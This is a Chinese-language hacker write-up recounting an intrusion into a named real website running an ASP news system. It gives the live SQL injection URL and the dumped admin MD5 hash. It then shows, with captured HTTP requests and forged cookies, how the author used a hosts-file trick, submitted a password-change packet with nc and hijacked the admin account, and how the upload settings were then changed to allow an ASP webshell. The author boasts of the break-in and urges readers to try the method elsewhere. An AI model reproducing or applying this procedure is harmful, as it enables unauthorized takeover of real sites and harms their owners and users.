很多大俠都是通過查看程序的源代碼發現漏洞的。但是由于我才剛開始學ASP,所以還沒有達到這種境界。雖然搜索漏洞不方便,但偏偏一些程序就讓被我找出來點東西。
自從以前看了個"動網upfile漏洞利用動畫",我對抓包修改有了初步了解。當時就感覺用途不只是上傳那么簡單。于是愛死了WinSock Expert,經常有事沒事拿著他分析下提交的數據包。往往在不經意間,有很大的收獲。最近就用它發現了幾個安全漏洞。
圖1是筆者以前侵入過的一個站點。據說那次事件過后,該網已經開始重視Web安全了。這次我抱著幫他檢測漏洞的心態,瞧瞧能不能再侵入并放個頁面上去。
該網站使用的是沸騰3AS流浪塵緣新聞系統(核心:塵緣雅境圖文系統)V0.45 ACCESS版build 1程序。

大家都知道塵緣雅境有個漏洞Uploadfaceok.asp可以上傳ASP木馬。管理員似乎知道這里有問題。默認數據庫地址也不在。
轉來轉去,感覺這個站點有點讓人摸不著頭腦了,就好像有人故意在留后門一樣,這個版本的塵緣新聞系統本來不應該存在漏洞的,但是在瀏覽信息的時候卻發現他用的是ReadNews1.asp 這個文件,并沒有用原來的ReadNews.asp,很奇怪,隨手輸入一個',竟然存在注入漏洞,明顯沒有過濾。http://lovefree.org/wenzhang/wenzhang/ReadNews1.asp?NewsID=173是個注入點[Y2] (圖2),

但是將文件名改為readnews.asp?newsid=173卻被過濾了。而站點首頁又顯示的是readnews1.asp,很可能是管理員修改過文件的什么地方,由于不懂注入漏洞,所以看不出來那段防止注入的代碼含義,最后不小心把原來用來防止注入的部分取掉了。就是說塵緣雅境系統本來不存在這個注入點,現在卻被無意中制造了一個。注入之后得到的密碼,也就是數據庫中的密碼值是MD5加密過的,這個"地球人都知道"。
MD5破解不開,我就想到了WinSock Expert抓包修改,因為我記得塵緣雅境這個程序在后臺管理員修改密碼的時候,并沒有讓輸入原始密碼,而默認密碼框中是原始密碼的MD5值。就是說,如果你修改密碼,會提交新的密碼,但是需要驗證舊的密碼的MD5值。現在既然拿到了MD5值,就可以修改密碼了,還有一點要注意的是抓報的時候要看清楚包的內容,看看它除了要驗證舊密碼的MD5值以外,還會驗證什么。
那么還是下載這個版本,看看后臺有什么經過修改可以拿webshell的。在本機上打開iis服務,訪問初始化程序的后臺頁面。后臺有個管理員修改密碼的地方,我猜想如果程序在修改后臺密碼的時候如果使用cookies驗證方式,那么我們就可以直接提交相映的數據包,如果包中內容符合程序要求,程序就會認為合法,則執行修改管理員密碼的代碼。下面是我在修改密碼的時候抓的數據包(圖3)

主要是想看看修改密碼都需要什么信息,需要包中符合哪些內容。我在本機上的iis服務器ip為192.168.32.21,下面是包內容:
---------------------------------------------------------------------------------------
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
username=base&passwd=22222&passwd2=22222&fullname=%D0%A1%B7%D1&depid=8&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
-------------------------------------------------------------------------------------
下面就是需要驗證的Cookie內容
Cookie: ASPSESSIONIDQSTCRBQS=IGCLHDBBPLKKLEAAPKGHCLPH; reglevel=; fullname=%D0%A1%B7%D1; purview=99999; KEY=super; UserName=base; Passwd=279d34fa1dfd71aa
這些是需要的信息。不需要都看懂,只要知道有username,Passwd,purview,KEY,fullname,這個幾個值需要驗證,就是讓他們符合要求。再看看數據庫,它們都在admin表下。也就是說,我現在可以通過注入弄到它們。purview=99999,KEY=super這兩個是說明其為超級管理員,不變,最重要的就是剩下的三個值。
Username=admin, Passwd= 24a2b13f36f9f99c, fullname=doudou(都是通過nbsi工具注入得到的值)[Y4] ,我們就用這些來欺騙。現在包對應的值有了,包內容如果現在提交,就會出現修改成功,這樣會把我本機的初始塵緣雅靜程序密碼改掉。要改的可是他的啊,怎樣做到最簡便呢?我們知道包內容里面有被修改程序的ip地址,當然也可以改,可是改了以后還要計算并修改包大小值,這樣子很麻煩,還不如我們不修改包了。就先欺騙自己的機子,讓自己以為自己所架設的服務器ip地址就是域名lovefree.org,然后抓包,再讓自己的機子認為lovefree.org又指向原來的地方,那么我們就不用再改動包的內容了。做法很簡單。
要做的是讓我自己的電腦認為站點_blank>http://lovefree.org/wenzhang/wenzhang/在我的ip上,而且對應得路徑就是我安裝的塵緣雅靜初始化程序地址。改E:\WINDOWS\system32\drivers\etc\下的hosts文件,加一行:
192.168.32.21 lovefree.org(圖4)

然后設置iis服務器,加上個虛擬目錄wenzhang/wenzhang指向塵緣雅境在自己機子上的目錄。好了,現在在瀏覽器上輸入http://lovefree.org/wenzhang/wenzhang就是我的機子上的初始的塵緣雅境了,(圖5)

這樣的目的是抓到的包等一下可以直接提交給真實的服務器一樣(可以在后臺改,fullname是管理員的全名)。" target=http://lovefree.org/wenzhang/wenzhang地址,不需要修改包的大小,而為了保證大小一樣,在我們機子上的username=admin,fullname=doudou,也設置的和遠程服務器一樣(可以在后臺改,fullname是管理員的全名)。
一切就緒,現在開始再抓一次修改密碼的包,為了方便起見我已經把管理員信息改為username=admin,fullname=doudou了,剩下包里需要修改的信息,就是md5的密碼值,因為md5加密后都是16位的,不影響包大小。
---------------------------------------------------------------------------------------
POST /admin/saveedit.asp?id=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, application/x-shockwave-flash, */*
Referer: _blank>http://www.xijing.com.cn/admin/useredit.asp?id=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: www.xijing.com.cn
Content-Length: 110
Connection: Keep-Alive
Cache-Control: no-cache
(下面是coocike驗證內容)
Cookie: NB796459377Vote1=1; ASPSESSIONIDQSTCRBQS=MGCLHDBBGDELLJGJGJHGKBML; reglevel=; fullname=doudou; KEY=super; UserName=admin; purview=99999; Passwd=24a2b13f36f9f99c
(下面是修改信息)
username=admin&passwd=abend&passwd2=abend&fullname=doudou&depid=10&oskey=super&shenhe=1&cmdok=+%D0%DE+%B8%C4+
---------------------------------------------------------------------------------------
看到了,包和真的一樣!簡直就像從他的服務器上抓來的。這樣我們要改的,就只有passwd的md5值了,就是說,只要這個也匹配,真正的lovefree.org服務器就會認可。改為24a2b13f36f9f99c就是注入得到的密碼md5值。現在把host文件的內容改回來,改回來之后,再輸入域名lovefree.org就是打開真實地址了。用nc提交(圖6)

哈哈!恭喜您!您的資料已經修改成功! 2秒鐘后返回上頁!
現在密碼就是abend。用它來登錄后臺,到網站屬性改"上傳文件類型:"多加一個asp,就可以上傳asp木馬。
就針對塵緣雅境來說,雖然大家可能沒我那么幸運,剛好有個readnews1.asp文件沒加過濾,但是如果不小心拿到了數據庫,也不至于看著md5發愁了吧?其實還有很多程序都存在這樣的問題,如果你拿到了某站管理員的md5值,不妨用這種方法試一下,也許有很大收獲!


